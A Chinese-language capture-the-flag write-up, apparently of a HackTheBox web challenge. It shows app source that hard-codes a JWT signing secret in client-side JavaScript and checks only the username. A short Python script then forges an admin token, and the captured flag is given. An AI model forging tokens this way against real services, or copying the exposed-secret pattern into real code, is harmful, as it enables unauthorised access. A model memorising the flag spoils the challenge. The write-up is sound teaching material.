题目描述
(有附件)
观察 打开网页:
输入123试试,然后查看cookie:
因为cookie的内容为3部分,每2部分由 . 隔开的,所以是JWT,用 https://jwt.io/ 试试:
去给的附件里找找看有没有关于JWT的信息。
运气比较好,通过直接搜索 “JWT” 可以在 scr/views/index.html 里找到这部分内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 async function generateJWT() { const existingToken = getCookie("session_token" ); if (existingToken) { console.log("Session token already exists:" , existingToken); return ; } const randomNumber = Math.floor(Math.random() * 10000 ); const guestUsername = "guest_" + randomNumber; const header = { alg: "HS256" , typ: "JWT" , }; const payload = { username: guestUsername, iat: Math.floor(Date.now() / 1000 ), }; const secretKey = await crypto.subtle.importKey( "raw" , new TextEncoder().encode("halloween-secret" ), { name: "HMAC" , hash : "SHA-256" }, false, ["sign" ], ); const headerBase64 = btoa(JSON.stringify(header)) .replace(/\+/g, "-" ) .replace(/\//g, "_" ) .replace(/=+$/, "" ); const payloadBase64 = btoa(JSON.stringify(payload)) .replace(/\+/g, "-" ) .replace(/\//g, "_" ) .replace(/=+$/, "" ); const dataToSign = `${headerBase64}.${payloadBase64}`; const signatureArrayBuffer = await crypto.subtle.sign( { name: "HMAC" }, secretKey, new TextEncoder().encode(dataToSign), ); const signatureBase64 = btoa( String.fromCharCode.apply( null, new Uint8Array(signatureArrayBuffer), ), ) .replace(/\+/g, "-" ) .replace(/\//g, "_" ) .replace(/=+$/, "" ); const token = `${dataToSign}.${signatureBase64}`; document.cookie = `session_token=${token}; path=/; max -age=${60 * 60 * 24 }; Secure`; console.log("Generated JWT Session Token:" , token); }
可以发现这里是把 halloween-secret 作为密钥进行签名的。继续阅读源码,可以在 scr/routes/index.js 里发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 router.get ("/tickets" , async (req, res) => { const sessionToken = req.cookies .session_token ; if (!sessionToken) { return res.status (401 ).json (response ("No session token provided" )); } try { const username = getUsernameFromToken (sessionToken); if (username === "admin" ) { try { const tickets = await db.get_tickets (); return res.status (200 ).json ({ tickets }); } catch (err) { return res .status (500 ) .json (response ("Error fetching tickets: " + err.message )); } } else { return res .status (403 ) .json (response ("Access denied. Admin privileges required." )); } } catch (err) { return res.status (400 ).json (response (err.message )); } });
也就是说 /tickets 页面只会验证我们的username是否等于admin。
并且flag就在这个页面里,因为对应的database的内容为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 async migrate ( ) { let flag; fs.readFile ("/flag.txt" , "utf8" , function (err, data ) { flag = data; }); await this .db .exec (` DROP TABLE IF EXISTS tickets; CREATE TABLE tickets( id INTEGER PRIMARY KEY AUTOINCREMENT, name VARCHAR(255) NOT NULL, username VARCHAR(255) NOT NULL, content TEXT NOT NULL ); ` ); await this .db .exec (` INSERT INTO tickets (name, username, content) VALUES ('John Doe', 'guest_1234', 'I need help with my account.'), ('Jane Smith', 'guest_5678', 'There is an issue with my subscription.'), ('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag} '), ('Paul Blake', 'guest_9012', 'Can someone assist with resetting my password?'), ('Alice Cooper', 'guest_3456', 'The app crashes every time I try to upload a picture.'); ` ); }
渗透 首先确认一下这个密钥是否正确:
然后将username的值改为”admin”,再利用这个新的JWT访问 /tickets 。
这个网站不知道为什么突然不能修改jwt了,所以写段python手动修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import jwtoriginal_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzE3ODgiLCJpYXQiOjE3NDM2MDk3MDd9.RrHUnCE8lcYjM0m2LZQDYM46uqrberxslMW_FNtm49s" secret = "halloween-secret" algorithm = "HS256" decoded_payload = jwt.decode(original_token, secret, algorithms=[algorithm]) decoded_payload["username" ] = "admin" new_token = jwt.encode(decoded_payload, secret, algorithm=algorithm) print ("\n新的 Token:" )print (new_token)
得到flag:HTB{k33p_th3s3_jwt_s3cr3t_s4f3f_br0} 。